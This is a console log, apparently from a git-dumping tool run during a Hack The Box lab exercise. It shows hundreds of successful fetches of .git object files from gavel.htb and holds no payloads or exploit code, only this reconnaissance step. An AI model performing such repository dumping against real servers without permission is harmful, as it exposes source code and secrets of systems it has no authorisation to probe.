[-] Fetching http://gavel.htb/.git/objects/a2/111ce6cb60424e0dd54ea969c783e60c3303bb [200]
[-] Fetching http://gavel.htb/.git/objects/a0/d8892b18c876aee56418953ab01320dea0fdb7 [200]
[-] Fetching http://gavel.htb/.git/objects/a2/9803fd10ae5838bbd1dd7e7f7c12fcfe6de0ba [200]
[-] Fetching http://gavel.htb/.git/objects/a2/ced8c781a866a76d84b8ea7ebd3551044072c1 [200]
[-] Fetching http://gavel.htb/.git/objects/a4/2abb3b3a9048f67ab22792abbee362a88e0c19 [200]
[-] Fetching http://gavel.htb/.git/objects/a2/f074be8eaa2d460929e6cd36418f4644eae917 [200]
[-] Fetching http://gavel.htb/.git/objects/a4/7caebb54821fcbd67293ed466efca52398fc9e [200]
[-] Fetching http://gavel.htb/.git/objects/a4/afab138da43727f87389ab97b4b7cd3a661736 [200]
[-] Fetching http://gavel.htb/.git/objects/a4/177dde4fa9ab54e7b8eb110940d22a510d28c6 [200]
[-] Fetching http://gavel.htb/.git/objects/a4/b2061f37800c2ae3637ec29c881ab2dbca1e3e [200]
[-] Fetching http://gavel.htb/.git/objects/a3/0ba613aa69384bed1601f4b90cbf4334b87bf4 [200]
[-] Fetching http://gavel.htb/.git/objects/a3/6c8ecba97ba7c01b08a845cbcfcbf4b82fcf5a [200]
[-] Fetching http://gavel.htb/.git/objects/a3/2c4f49e062a8e672a97383bbad91e2c7a504a8 [200]
[-] Fetching http://gavel.htb/.git/objects/a4/cc55440c169093c6975deba6fe0fb853c78329 [200]
[-] Fetching http://gavel.htb/.git/objects/a3/c407a58c012a0d8dd9acd688650a6c14671f00 [200]
[-] Fetching http://gavel.htb/.git/objects/a3/a649aa5517c9be2f486ba8924095b8c45bb5b2 [200]
[-] Fetching http://gavel.htb/.git/objects/a3/2163049c9439a3285771342037a64418944545 [200]
[-] Fetching http://gavel.htb/.git/objects/a3/f9cd1096534ab48174a1667d3a649ef4103486 [200]
[-] Fetching http://gavel.htb/.git/objects/a3/e4b84cc57e3ff3fa8dd57d87f315b2a782b2cf [200]
[-] Fetching http://gavel.htb/.git/objects/a5/3ea67170122e71759c6f7ba0db55d9b92d5985 [200]
[-] Fetching http://gavel.htb/.git/objects/a5/66b604d1e21eda086d75119164e6c9aa29225d [200]
[-] Fetching http://gavel.htb/.git/objects/a5/6e2fdb4c12e423716d19aa2eee8ff8797bde64 [200]
[-] Fetching http://gavel.htb/.git/objects/a5/bef056d418aaddfc5e94b7652367830166b30e [200]
[-] Fetching http://gavel.htb/.git/objects/a5/272f51ea552b5ff2248510754ffd91a18f5b4c [200]
[-] Fetching http://gavel.htb/.git/objects/a7/0979b1ed27335eb15e72a07664aee53d0dd889 [200]
[-] Fetching http://gavel.htb/.git/objects/a5/d237952acfe311dcc84e031f0c6d998a8a7990 [200]
[-] Fetching http://gavel.htb/.git/objects/a5/4e15b37072e8088b767ff680fcdf676e599e49 [200]
[-] Fetching http://gavel.htb/.git/objects/a7/1e372248fa677e4f28a623498a5ba8d8e6430f [200]
[-] Fetching http://gavel.htb/.git/objects/a7/8517dc8c2dc724789aea78c45faaa9e04297e4 [200]
[-] Fetching http://gavel.htb/.git/objects/a7/14abd8fdcafdeaeb38187dbc761b08856816f7 [200]
[-] Fetching http://gavel.htb/.git/objects/a7/7328119752869a7f18ff7738928041c78a1f29 [200]
[-] Fetching http://gavel.htb/.git/objects/a7/cefa759171ee465269ffc3c93da9c5b225c030 [200]
[-] Fetching http://gavel.htb/.git/objects/a7/db9ff848295c80c7d9e173a361d96b7b7598e5 [200]
[-] Fetching http://gavel.htb/.git/objects/a7/ed8d915b5010cd245f2dca732b2cef488f17d2 [200]
[-] Fetching http://gavel.htb/.git/objects/a7/9957681b19958342e170b88fc91138163977c2 [200]
[-] Fetching http://gavel.htb/.git/objects/a7/ee6411c61785fd672bd5da6f9a167a24d4fa77 [200]
[-] Fetching http://gavel.htb/.git/objects/a6/2c3e3dc8844ff1688e13f0ae14428c118fda2a [200]
[-] Fetching http://gavel.htb/.git/objects/a6/4ecebcb490b8eafe1bf0a85f0d86e6296a6bb1 [200]
[-] Fetching http://gavel.htb/.git/objects/a6/5d33ef0e24ad02665417b864085a7759be0520 [200]
[-] Fetching http://gavel.htb/.git/objects/a6/0ff20b744f04c9cc8f8a13a54c1ca2721196f7 [200]
[-] Fetching http://gavel.htb/.git/objects/a6/7a2d4a640d29d6b87b6db80adabaeaa314e85d [200]
[-] Fetching http://gavel.htb/.git/objects/a6/6bb378a7c722fd88a8879533612370f8ab86c3 [200]
[-] Fetching http://gavel.htb/.git/objects/a6/6b139fd793b41389952f13deea48458f9e1d0f [200]
[-] Fetching http://gavel.htb/.git/objects/a6/8cbd775526305163a3c6589d9aaf1ee456ce57 [200]
[-] Fetching http://gavel.htb/.git/objects/a6/b1f942ef67e056e6a095200bf6e452f7a5b438 [200]
[-] Fetching http://gavel.htb/.git/objects/aa/0b01f67fadc457076e7d35efc65952711041d9 [200]
[-] Fetching http://gavel.htb/.git/objects/aa/029e7ab5e966d78d5b5a2dcde286aecea486f3 [200]
[-] Fetching http://gavel.htb/.git/objects/aa/1ce5dd308b6264914c092d081c5c547f53f1c7 [200]
[-] Fetching http://gavel.htb/.git/objects/aa/1cc338255757b2b9a388f1bdeca1b50586d68f [200]
[-] Fetching http://gavel.htb/.git/objects/aa/2b086db09f5c9a3b68f4778f33ce3bb48a501b [200]
[-] Fetching http://gavel.htb/.git/objects/aa/3c57895af3f75df2c17f5234159d49a75c9eb4 [200]
[-] Fetching http://gavel.htb/.git/objects/aa/65526f616d264b1c049178cc590cd28e08e2f1 [200]
[-] Fetching http://gavel.htb/.git/objects/aa/bc1913ae77f5d72c222af7c9e0c91c64fd7fd3 [200]
[-] Fetching http://gavel.htb/.git/objects/aa/68ee68847e17ba223aed7f037d5fb0ebf2287d [200]
[-] Fetching http://gavel.htb/.git/objects/aa/cac25911d11467e3b7a1f22ad154c523c25e6b [200]
[-] Fetching http://gavel.htb/.git/objects/aa/ca03ae8fa468f795968eccb873fe1af7dcb272 [200]
[-] Fetching http://gavel.htb/.git/objects/a8/09e29b801ab812845d5712f954c86653762a48 [200]
[-] Fetching http://gavel.htb/.git/objects/a8/2cca21cec64985c5c92185963cfc0af652dde1 [200]
[-] Fetching http://gavel.htb/.git/objects/a8/4ad0d4b669aa89f1664e1f52b8a85f8c313ad7 [200]
[-] Fetching http://gavel.htb/.git/objects/a8/24ff08d566d100e499748bbf5d8831859ee654 [200]
[-] Fetching http://gavel.htb/.git/objects/a8/8bb387efaf232c118b9a3a852335ab2ab31234 [200]
[-] Fetching http://gavel.htb/.git/objects/a8/9d4feb3a0914f88e058f3c921e37fead0b5fe9 [200]
[-] Fetching http://gavel.htb/.git/objects/a8/5517e2a1e6a8108521fe92f8e63fb816a31fbd [200]
[-] Fetching http://gavel.htb/.git/objects/a8/db336e95dec469cea93b576c9881d1866f34ff [200]
[-] Fetching http://gavel.htb/.git/objects/a8/3572e69d8d9c3d7966792eb4329d6514aaa0de [200]
[-] Fetching http://gavel.htb/.git/objects/a9/71db344278a23d45e1649045fe892a30119072 [200]
[-] Fetching http://gavel.htb/.git/objects/a9/982cb8afb84e37d09b11f6dea2ce434438e54d [200]
[-] Fetching http://gavel.htb/.git/objects/a9/86812cc6f1cfdadfd66b8ccf29d11d0e91856c [200]
[-] Fetching http://gavel.htb/.git/objects/a8/4e7c883b904f2a0966f00e10c05016a273fe30 [200]
[-] Fetching http://gavel.htb/.git/objects/ab/7d2df56c2b540591f37849e9b9b96f40fd523f [200]
[-] Fetching http://gavel.htb/.git/objects/ab/4516a4b51e289559faf56e732eac0005a59f9f [200]
[-] Fetching http://gavel.htb/.git/objects/a9/61084139ff0a1f52f72cce5cb62b61f83fbce9 [200]
[-] Fetching http://gavel.htb/.git/objects/a9/ec9ea627ebeb58f7778465bb3b163f89a73f15 [200]
[-] Fetching http://gavel.htb/.git/objects/ab/4969eae122742bb3f91ac858330d404d66eb77 [200]
[-] Fetching http://gavel.htb/.git/objects/a9/e9398735d611bdd8b121be14587bb342945154 [200]
[-] Fetching http://gavel.htb/.git/objects/ab/9463814823c15d004274f84961c731260a0923 [200]
[-] Fetching http://gavel.htb/.git/objects/ab/d06b22343885005b2ba31b916d7a976741f542 [200]
[-] Fetching http://gavel.htb/.git/objects/ab/b14f49ed977945732090ac0026425b8c609504 [200]
[-] Fetching http://gavel.htb/.git/objects/ac/58fa7d49fbb735ff571eb876b4d81df952af3b [200]
[-] Fetching http://gavel.htb/.git/objects/ac/3e65cfef3ad8e0fa46f417bc39c55dbe1302ee [200]
[-] Fetching http://gavel.htb/.git/objects/ac/8166f19fdef6b8c893beb35e8b8ae04ced70d1 [200]
[-] Fetching http://gavel.htb/.git/objects/ac/9ab4e6898933a32037f231b94d046d5da2124b [200]
[-] Fetching http://gavel.htb/.git/objects/ac/7691c7f6b9134d81f4a712afd40801a34e0aa8 [200]
[-] Fetching http://gavel.htb/.git/objects/ac/9005565fd78b6b542243a11842d0f3eb684841 [200]
[-] Fetching http://gavel.htb/.git/objects/ac/a6d21e37cb810f7c7bf54bd8653d65adb63215 [200]
[-] Fetching http://gavel.htb/.git/objects/ac/ae317b2b12390c639caf5c158d27463c402696 [200]
[-] Fetching http://gavel.htb/.git/objects/ac/ab2c582db383752fcd94907061fb63033cfee9 [200]
[-] Fetching http://gavel.htb/.git/objects/ac/c3e22cd32c5de5116daa7533d6f0fc8a480359 [200]
[-] Fetching http://gavel.htb/.git/objects/ad/0c042e04781f356f57d297f7fe0c3e26900fc4 [200]
[-] Fetching http://gavel.htb/.git/objects/ad/0e588f3aabf2f742081820cbfd9fadee8c9479 [200]
[-] Fetching http://gavel.htb/.git/objects/ac/ee0496627d3c3987bcd3ad39a2523cc99ed9b5 [200]
[-] Fetching http://gavel.htb/.git/objects/ad/550df3b49b5374b82c0266a00a9c6e416b6155 [200]
[-] Fetching http://gavel.htb/.git/objects/ad/70bf6b2b15f883c84596aba3027ae810d14371 [200]
[-] Fetching http://gavel.htb/.git/objects/ad/6875ea82ff5da5d8504bb6f07d75c86eee7016 [200]
[-] Fetching http://gavel.htb/.git/objects/ad/58864d38fb90034a058039d4350bd7b548c6c0 [200]
[-] Fetching http://gavel.htb/.git/objects/ad/299483944ddb96b2c78db87b9d03fb924c7945 [200]
[-] Fetching http://gavel.htb/.git/objects/ad/dc1a56fc2198bb5cc22e272926974d1adea16d [200]
[-] Fetching http://gavel.htb/.git/objects/ad/fe427c53491c6fc01c7c46734a84b3278ba416 [200]
[-] Fetching http://gavel.htb/.git/objects/ae/4b1f2769c8b51b6caa8f820485b7dc1017b5e5 [200]
[-] Fetching http://gavel.htb/.git/objects/ae/1cd457bad5d26ee6893ab78ba6d293b7670f32 [200]
[-] Fetching http://gavel.htb/.git/objects/ae/7ef4e8ec2d851291df1a6533f18b72cc85d2e6 [200]
[-] Fetching http://gavel.htb/.git/objects/ae/8ccfd898c6d7eff56c214b46c318c0cd22c444 [200]
[-] Fetching http://gavel.htb/.git/objects/ae/8eaeb97e8212ada27bc072731be1ca7d22933b [200]
[-] Fetching http://gavel.htb/.git/objects/ae/c6fc46b7e28a66e39e89d9f2648ad8b0e1b966 [200]
[-] Fetching http://gavel.htb/.git/objects/ae/ae88d4630dd9bf68a87f4b89867504baccd93a [200]
[-] Fetching http://gavel.htb/.git/objects/ae/f176be0eadf9919bf62644b1a45e4deb915952 [200]
[-] Fetching http://gavel.htb/.git/objects/b1/0910ad1d77fc5d322f6e7ea01b6487adf59424 [200]
[-] Fetching http://gavel.htb/.git/objects/b1/1b45a37bb04e620d288b2434a9b66218870966 [200]
[-] Fetching http://gavel.htb/.git/objects/b1/b4c2d5d53e2d2c192ac2cd6104efecb8ca51bb [200]
[-] Fetching http://gavel.htb/.git/objects/b1/2c1122c78367ec67d0ea840e2149da31316cd2 [200]
[-] Fetching http://gavel.htb/.git/objects/b1/db6397e83784dfc67744aa382bfd15c14d52b8 [200]
[-] Fetching http://gavel.htb/.git/objects/af/1d3ac0e6807e2eadd2626cae371f329a6fdcc8 [200]
[-] Fetching http://gavel.htb/.git/objects/af/0716191fd2a94c6fef42cdefd3df386cbbc887 [200]
[-] Fetching http://gavel.htb/.git/objects/af/7cee6f4a9c3226d9eeb482a1c03f03984fd311 [200]
[-] Fetching http://gavel.htb/.git/objects/af/6b7a485e76f418fe352cfa5ca5c54398d9ea2f [200]
[-] Fetching http://gavel.htb/.git/objects/af/8e16d6a911c097666e54a7abcb091187b07f0c [200]
[-] Fetching http://gavel.htb/.git/objects/af/9bbf4794e364052f01d321ba765ffa48462218 [200]
[-] Fetching http://gavel.htb/.git/objects/af/15cfc31173571926c763ef8f5fc90547889921 [200]
[-] Fetching http://gavel.htb/.git/objects/af/5038c26ef53658b93ffe8e1e9ddfdd48e92c4a [200]
[-] Fetching http://gavel.htb/.git/objects/af/2628089f85eba0619d4820f71e41d4c6204ea5 [200]
[-] Fetching http://gavel.htb/.git/objects/af/d0e9d0231b6fec430c7df400c35c2540a12926 [200]
[-] Fetching http://gavel.htb/.git/objects/af/5425b6a1ce87bfa8267aa0f799d03b162f54cc [200]
[-] Fetching http://gavel.htb/.git/objects/af/4512be15b5551338049ba39509abe3c81e3109 [200]
[-] Fetching http://gavel.htb/.git/objects/b0/9a846ac0c59ade04801ef7433a8f9848726250 [200]
[-] Fetching http://gavel.htb/.git/objects/af/da1c6e7d1baacacd174c44f5756bd840aa45fe [200]
[-] Fetching http://gavel.htb/.git/objects/af/e315244f6dae3beda0159693d25a6e0466dd90 [200]
[-] Fetching http://gavel.htb/.git/objects/b0/51e54c7164cf11d71e7e3f71435e9834643564 [200]
[-] Fetching http://gavel.htb/.git/objects/b0/63f958a4a3a5bc7b2b877ba35db625aafbeaa8 [200]
[-] Fetching http://gavel.htb/.git/objects/b0/8962bd22df3a3c44b59e70379254f86db2713a [200]
[-] Fetching http://gavel.htb/.git/objects/b0/e0be6e888565534d0dfef687c61fef61b58453 [200]
[-] Fetching http://gavel.htb/.git/objects/b0/db7c7f6f722bbe0a853694d94a2dfe25c8c811 [200]
[-] Fetching http://gavel.htb/.git/objects/b0/77a0336e991177ff6ea85f67089ce2a37b3a1e [200]
[-] Fetching http://gavel.htb/.git/objects/b0/f4ff7089676e46e67710b94549dfa673910716 [200]
[-] Fetching http://gavel.htb/.git/objects/b2/0f55fc3fa984127e6da7c6bb6b3fdf24df9669 [200]
[-] Fetching http://gavel.htb/.git/objects/b0/f7a7da1a65c09ebe4fe0c8839a4c26cf013909 [200]
[-] Fetching http://gavel.htb/.git/objects/b2/4a38a5579c4e3ee463400231fd47e52b965655 [200]
[-] Fetching http://gavel.htb/.git/objects/b2/198c924bcc043daea371ed3427fbf69f4ccf9d [200]
[-] Fetching http://gavel.htb/.git/objects/b2/41e618719ab208376b964169b04b6ac186756c [200]
[-] Fetching http://gavel.htb/.git/objects/b2/33d4e4f51eef3ad89643662a94a08bb6d0961a [200]
[-] Fetching http://gavel.htb/.git/objects/b2/c7284afce0ae86814b6dba00939bea9f72fa30 [200]
[-] Fetching http://gavel.htb/.git/objects/b2/ec573d2a6d3596f1c555397d574c51e322e6ca [200]
[-] Fetching http://gavel.htb/.git/objects/b2/ed896ac70ff0bebfcfb28244f3b5e6868330bb [200]
[-] Fetching http://gavel.htb/.git/objects/b2/16b6e893b1aed9e94d4ecf8cb61c5904b04158 [200]
[-] Fetching http://gavel.htb/.git/objects/b2/fee2aa4a3f952d69c5684ee2aceb12b76f7262 [200]
[-] Fetching http://gavel.htb/.git/objects/b2/f3e6f5e57fac2ee3249dcc1e60b1ac1deb526a [200]
[-] Fetching http://gavel.htb/.git/objects/b4/d12b92564ae8c0b077c82b7eb89856c3a530fb [200]
[-] Fetching http://gavel.htb/.git/objects/b6/e4a5b2483b4c4c68362a9f2e7347e46720e2bb [200]
[-] Fetching http://gavel.htb/.git/objects/b4/f27a6451b31cd24be7e631233a9377ea39d411 [200]
[-] Fetching http://gavel.htb/.git/objects/b6/91b22d03f5362f37d8d234d7069d2385af3890 [200]
[-] Fetching http://gavel.htb/.git/objects/b6/fba7cc4dc1605c8fedd74ac65722854fa910bf [200]
[-] Fetching http://gavel.htb/.git/objects/b3/5f167ae13bc24131b1b52c7dcb797707abf822 [200]
[-] Fetching http://gavel.htb/.git/objects/b3/22fa47f9daf4bba0afda2a987ca1c82a52f0e0 [200]
[-] Fetching http://gavel.htb/.git/objects/b3/23bb40f796457025948004b1d09d2982837f1c [200]
[-] Fetching http://gavel.htb/.git/objects/b3/215608757abe26720b516e74e232021b6ae045 [200]
[-] Fetching http://gavel.htb/.git/objects/b3/a5cebfd53d616c6838c78ed1971928884e21cf [200]
[-] Fetching http://gavel.htb/.git/objects/b3/e8695f02fc7901b673b60916d918095374a425 [200]
[-] Fetching http://gavel.htb/.git/objects/b7/005cff50d57b22e4212604082e3a284fe2419d [200]
[-] Fetching http://gavel.htb/.git/objects/b3/fe9743fd06028e49d45de456458c494d53aa95 [200]
[-] Fetching http://gavel.htb/.git/objects/b7/39c2bdb8155fa16f791798f7fe65a68f2b503b [200]
[-] Fetching http://gavel.htb/.git/objects/b7/6c4e92c938e3bd29f0e355c3119a1d322a95d2 [200]
[-] Fetching http://gavel.htb/.git/objects/b7/48bcabeb8cccccaf81408724177cb1f9558580 [200]
[-] Fetching http://gavel.htb/.git/objects/b7/a00bb406a40e21cd0ad8a3d51a23d66bdade13 [200]
[-] Fetching http://gavel.htb/.git/objects/b7/91fd30dea6d4389427bcbd134da16839dfcdfc [200]
[-] Fetching http://gavel.htb/.git/objects/b7/e02bec206824fa48f455734e8a01efb28fb652 [200]
[-] Fetching http://gavel.htb/.git/objects/b8/9dc902fd35b862a5bf3e440d111516c2ce2103 [200]
[-] Fetching http://gavel.htb/.git/objects/b8/951105789bb8292dc7030ac6c08fab2925a5a4 [200]
[-] Fetching http://gavel.htb/.git/objects/b8/a8f656e1607a2c36884d3165872ef3515b5879 [200]
[-] Fetching http://gavel.htb/.git/objects/b8/d9cb2a6647f1c5a6441a037ae979d1b49c32a2 [200]
[-] Fetching http://gavel.htb/.git/objects/b8/d1457d0f0852bee41221250bc27610ee5a92c2 [200]
[-] Fetching http://gavel.htb/.git/objects/b5/02a7afba9cf15be74b77148fbde6bb41441f52 [200]
[-] Fetching http://gavel.htb/.git/objects/b5/4a3af59d6f114756e0792778657a608954cc3d [200]
[-] Fetching http://gavel.htb/.git/objects/b5/151ad2aeede0049b81836cf1c0202062aa19d3 [200]
[-] Fetching http://gavel.htb/.git/objects/b5/21cb8ec2b9835601bdc2580adbe4b56054c9dc [200]
[-] Fetching http://gavel.htb/.git/objects/b5/609bc038135cbfc6d4879c4d49b4c829844aef [200]
[-] Fetching http://gavel.htb/.git/objects/b5/73052c14affa5bdca02ac9e3e7a4168768925b [200]
[-] Fetching http://gavel.htb/.git/objects/b5/ccaae46f3e8df839c2a19eb670462dce764ef1 [200]
[-] Fetching http://gavel.htb/.git/objects/b9/9c46f110951f4d1afb64702c5f1391dbbd7cba [200]
[-] Fetching http://gavel.htb/.git/objects/b9/52ff7b57d166fec373934020f02a30a4aa1b2d [200]
[-] Fetching http://gavel.htb/.git/objects/b9/231f0807e4ac0fa41b5017846efb801cf25469 [200]
[-] Fetching http://gavel.htb/.git/objects/bb/6d369543a7591bcd55cb194f7ba81794e8dd2d [200]
[-] Fetching http://gavel.htb/.git/objects/bb/903c369898cb9598c11ded70a40d6ac4b5070a [200]
[-] Fetching http://gavel.htb/.git/objects/bb/3524e40e2464e26e9f25dd039e17a3a049f242 [200]
[-] Fetching http://gavel.htb/.git/objects/bb/cd48d8a73f433b9de80da7fb1c181185a4c79b [200]
[-] Fetching http://gavel.htb/.git/objects/ba/031ed454805fc5834014b0f18802aa0c7a9150 [200]
[-] Fetching http://gavel.htb/.git/objects/ba/164cabbef8f6947cfe99afedbc3b5732c4a5f9 [200]
[-] Fetching http://gavel.htb/.git/objects/ba/32921e495246099566eeac4eb827edae427b46 [200]
[-] Fetching http://gavel.htb/.git/objects/ba/a4257c29e4db5717dd590610c78538327c30c7 [200]
[-] Fetching http://gavel.htb/.git/objects/ba/87975569ebd290be626c069b1527875cdf7aac [200]
[-] Fetching http://gavel.htb/.git/objects/bc/5dc20f9002ccdd31ffa91c7895294d2bb0d3c0 [200]
[-] Fetching http://gavel.htb/.git/objects/bb/7f5fcb77c3a50459a196a68ae5fe94b30a1164 [200]
[-] Fetching http://gavel.htb/.git/objects/bc/7a348f723ad95cfd20ad720fb1bb4d8c43a31c [200]
[-] Fetching http://gavel.htb/.git/objects/bc/5750ae2f53b195f61345fe28ed470bef137a8b [200]
[-] Fetching http://gavel.htb/.git/objects/bc/bf5f9ab01c4476fbfaad3ea042f820a3ccad1c [200]
[-] Fetching http://gavel.htb/.git/objects/bc/d7dcad996db4ed4a1c8451f04f623a01cc069b [200]
[-] Fetching http://gavel.htb/.git/objects/bc/dc35a49f81f044f28bec8868842c0d1a70b034 [200]
[-] Fetching http://gavel.htb/.git/objects/be/5bd8e2e945335d1ead1e8626ff168b24dfc6bf [200]
[-] Fetching http://gavel.htb/.git/objects/be/5c532b48e207b5e1104892a8363ca14ff9ce03 [200]
[-] Fetching http://gavel.htb/.git/objects/be/30b5a8734699a8a89d3f101e84c30c04687985 [200]
[-] Fetching http://gavel.htb/.git/objects/be/67bc08802e8c35103bd0ee7f6ac7dbab176f59 [200]
[-] Fetching http://gavel.htb/.git/objects/be/70b81cc8d03b375eeb71767bfc53772e6f83a9 [200]
[-] Fetching http://gavel.htb/.git/objects/be/99b0ca91669b6ce698e7d4d09380f94a78438b [200]
[-] Fetching http://gavel.htb/.git/objects/be/634f82bede5c1d5eef152c7f1b8e031943870f [200]
[-] Fetching http://gavel.htb/.git/objects/be/817c637538d7a54cf5c328ad9445270bf544ec [200]
[-] Fetching http://gavel.htb/.git/objects/be/80375b104eeb3b896a55c0bb16cbf81e175bd7 [200]
[-] Fetching http://gavel.htb/.git/objects/be/561347ee2f5ff0368be278b5dd2e5f5427f213 [200]
[-] Fetching http://gavel.htb/.git/objects/be/b47e4b16d6ee8cbfbc127d97b8b82cf83a9d8c [200]
[-] Fetching http://gavel.htb/.git/objects/be/bb516f92b3a9023056a17636584794afe65d9c [200]
[-] Fetching http://gavel.htb/.git/objects/c0/2d50c0d18e09fc546e54f2f21f263d07035c72 [200]
[-] Fetching http://gavel.htb/.git/objects/c0/8b746404a2fd1273d88637c01df8adbc880bb0 [200]
[-] Fetching http://gavel.htb/.git/objects/c0/237ef71559c0c84d04316e06ae2827895fb2f8 [200]
[-] Fetching http://gavel.htb/.git/objects/c0/af6e5430c602a22ff66b274948ed00799f180f [200]
[-] Fetching http://gavel.htb/.git/objects/c0/d32c2fd94dc1d570f15ba15bfe65c1219305b0 [200]
[-] Fetching http://gavel.htb/.git/objects/c0/fabe90ab3aa3ab3934ca0d272455cd5c7043dc [200]
[-] Fetching http://gavel.htb/.git/objects/c0/fcfc1427ebe50867eaca70360a0b77e65b4630 [200]
[-] Fetching http://gavel.htb/.git/objects/c1/21f45a8d3021f02dbaa19ca6c89ce5bb14b015 [200]
[-] Fetching http://gavel.htb/.git/objects/c1/52f24b322a9ab5f1c29a5da854001f2926ab8f [200]
[-] Fetching http://gavel.htb/.git/objects/c1/8dcb4b8749d4240a8e14bfb6aa6165b2def7c1 [200]
[-] Fetching http://gavel.htb/.git/objects/c1/58bfd558aa4418cc74c2c6f97fe587bb1a5d27 [200]
[-] Fetching http://gavel.htb/.git/objects/c1/67f0b68db5afd30e589aad300dfabef8944ce7 [200]
[-] Fetching http://gavel.htb/.git/objects/c1/1715d1873a50e59e236c95afe6e2308efe52d1 [200]
[-] Fetching http://gavel.htb/.git/objects/c1/65788a0afd6b39a55f91c6250c82ae1e8f8c8a [200]
[-] Fetching http://gavel.htb/.git/objects/c0/30d70cd752e6ce1a169f7fa0f4d3f3a4818f3e [200]
[-] Fetching http://gavel.htb/.git/objects/c1/c6b56a6adc8620e024f5f71bb99c68e1e302dd [200]
[-] Fetching http://gavel.htb/.git/objects/c1/793240125f81919bdd128800f2cd4b56cea782 [200]
[-] Fetching http://gavel.htb/.git/objects/c3/1f1923ee265e9a0996ba0a6283262c4871730b [200]
[-] Fetching http://gavel.htb/.git/objects/c3/089fafa34789a395237f160fef4d2c363d0b8f [200]
[-] Fetching http://gavel.htb/.git/objects/c1/e6767d8b0ed570de5d4ddd1c770fbfdbf3c813 [200]
[-] Fetching http://gavel.htb/.git/objects/c3/4dbeb707353b07ec115af5ffd4c5d9a2c31812 [200]
[-] Fetching http://gavel.htb/.git/objects/c3/8a96410a379f5e18c913b48f8071158de0d9aa [200]
[-] Fetching http://gavel.htb/.git/objects/c3/ad4850de037de74a4fdaede268ea956280e85d [200]
[-] Fetching http://gavel.htb/.git/objects/c3/e14dfb2d726fb3d68f4cbf18a8f204c46e9833 [200]
[-] Fetching http://gavel.htb/.git/objects/c4/10a812f6e7bdf58cb4e81c9961dd7357207918 [200]
[-] Fetching http://gavel.htb/.git/objects/c4/5cd951b5e56edae20bf84d7355bd1cce32d2dd [200]
[-] Fetching http://gavel.htb/.git/objects/c4/2755acfcb89dc2148549362f3daf76fa7d3c32 [200]
[-] Fetching http://gavel.htb/.git/objects/c4/647c5781041a1cd80cb703b819c683fdb8ec9e [200]
[-] Fetching http://gavel.htb/.git/objects/c4/40e1ea317b80bebc411f707aa88ae1529d2bc8 [200]
[-] Fetching http://gavel.htb/.git/objects/c3/f9a91cbee1e482c9acb08f8567c8d49c02c716 [200]
[-] Fetching http://gavel.htb/.git/objects/c4/c6022f2982e8dae64cebd6b9a2b59f2547faad [200]
[-] Fetching http://gavel.htb/.git/objects/c4/d375ca4f09a7a4abe21e122a77d90b274cb5b2 [200]
[-] Fetching http://gavel.htb/.git/objects/c4/e665cff2859e9ae63a32b81d3914ab75b4d488 [200]
[-] Fetching http://gavel.htb/.git/objects/c5/095113cfb86d1e64020a556e59455192b5d1f0 [200]
[-] Fetching http://gavel.htb/.git/objects/c5/3fd9ab663e16d93383a3eb52bf8f583277c807 [200]
[-] Fetching http://gavel.htb/.git/objects/c5/5a8dfdf071ca2199ea25932475cb2b026ff466 [200]
[-] Fetching http://gavel.htb/.git/objects/c5/72ca420057904adb7625bb246f5e300d781f19 [200]
[-] Fetching http://gavel.htb/.git/objects/c5/85a4d9725d909ed9c017af5d725119ac037592 [200]
[-] Fetching http://gavel.htb/.git/objects/c5/77210146fa56240bdd1a8dd37f2370a5c5418e [200]
[-] Fetching http://gavel.htb/.git/objects/c5/d7cdd1492aa6b2243a2619390c63255e310363 [200]
[-] Fetching http://gavel.htb/.git/objects/c5/157b7b7772d667c3317a71da5e0075babc966a [200]
[-] Fetching http://gavel.htb/.git/objects/bf/0ab85ba34bdf715966c65bca8b35b5c84f3c99 [200]
[-] Fetching http://gavel.htb/.git/objects/bf/d453a4cd161cf260d9b3a6d3dd7af42a7469fc [200]
[-] Fetching http://gavel.htb/.git/objects/bf/7ba6d9a580f786498ef457411fb7a0b44e914f [200]
[-] Fetching http://gavel.htb/.git/objects/c6/1cf483606f6176df1ed8a662e1c292a1aa4ca3 [200]
[-] Fetching http://gavel.htb/.git/objects/c6/4bc8bd0262d27fd7f84f16289e4f702ea7c94b [200]
[-] Fetching http://gavel.htb/.git/objects/c6/e6ec81171135e74c9fe829923b008586e008d1 [200]
[-] Fetching http://gavel.htb/.git/objects/c6/463ad60fc8cba8378cda98b7d221b04f1a24c9 [200]
[-] Fetching http://gavel.htb/.git/objects/bd/060c8325598ffd0c30b2de135cfe05149356ca [200]
[-] Fetching http://gavel.htb/.git/objects/bd/2b6f01ed266bb1348ffcec948d4a52a595312c [200]
[-] Fetching http://gavel.htb/.git/objects/bd/59b432a18a21042fda36d63b8ec8417732623c [200]
[-] Fetching http://gavel.htb/.git/objects/bd/65a8efe7f863a29ff8497843d14d320c807ab5 [200]
[-] Fetching http://gavel.htb/.git/objects/bd/76b4e9fa126387050763570fdd4f6fa1c8821b [200]
[-] Fetching http://gavel.htb/.git/objects/bd/a25dc8dedc3c46590c8382e9e183d03b23a89e [200]
[-] Fetching http://gavel.htb/.git/objects/bd/80eca6103358b71f3ab4924822e7f5fd68e4a5 [200]
[-] Fetching http://gavel.htb/.git/objects/bd/c05cab73f9285930542999896df221148f8b17 [200]
[-] Fetching http://gavel.htb/.git/objects/bd/e50b8a4e005e59fb3e8544cbe1ff39e04a6994 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/9d704de5c12384878fbbb5d30d41699d998503 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/9e0cb5237b5a44421d560e62563b78ddea8582 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/141c92939549b0ef217da635740c6e07dec3a4 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/367a45230380f432816aab47bff08e7f34dd10 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/8748801f66f28746b2e5f014b23a4ead47349b [200]
[-] Fetching http://gavel.htb/.git/objects/bd/9b11583bd8e14ac3d8e5ffb1aff58c927058d1 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/b526b13b7d44cf85a6d779e678fe4c8444639b [200]
[-] Fetching http://gavel.htb/.git/objects/c7/a08fe5dbe2d190b16df9ff74e80018f47d80a2 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/db1c090d36a58c6634f0268107424ce6a48a40 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/ddf488c20e506da41edc17c56da2d84cc393b2 [200]
[-] Fetching http://gavel.htb/.git/objects/c7/ed1d4d71d93867272105d7f797442422b6275c [200]
[-] Fetching http://gavel.htb/.git/objects/c7/f74872565ea9a9cfa55d636d921f2b3182c95c [200]
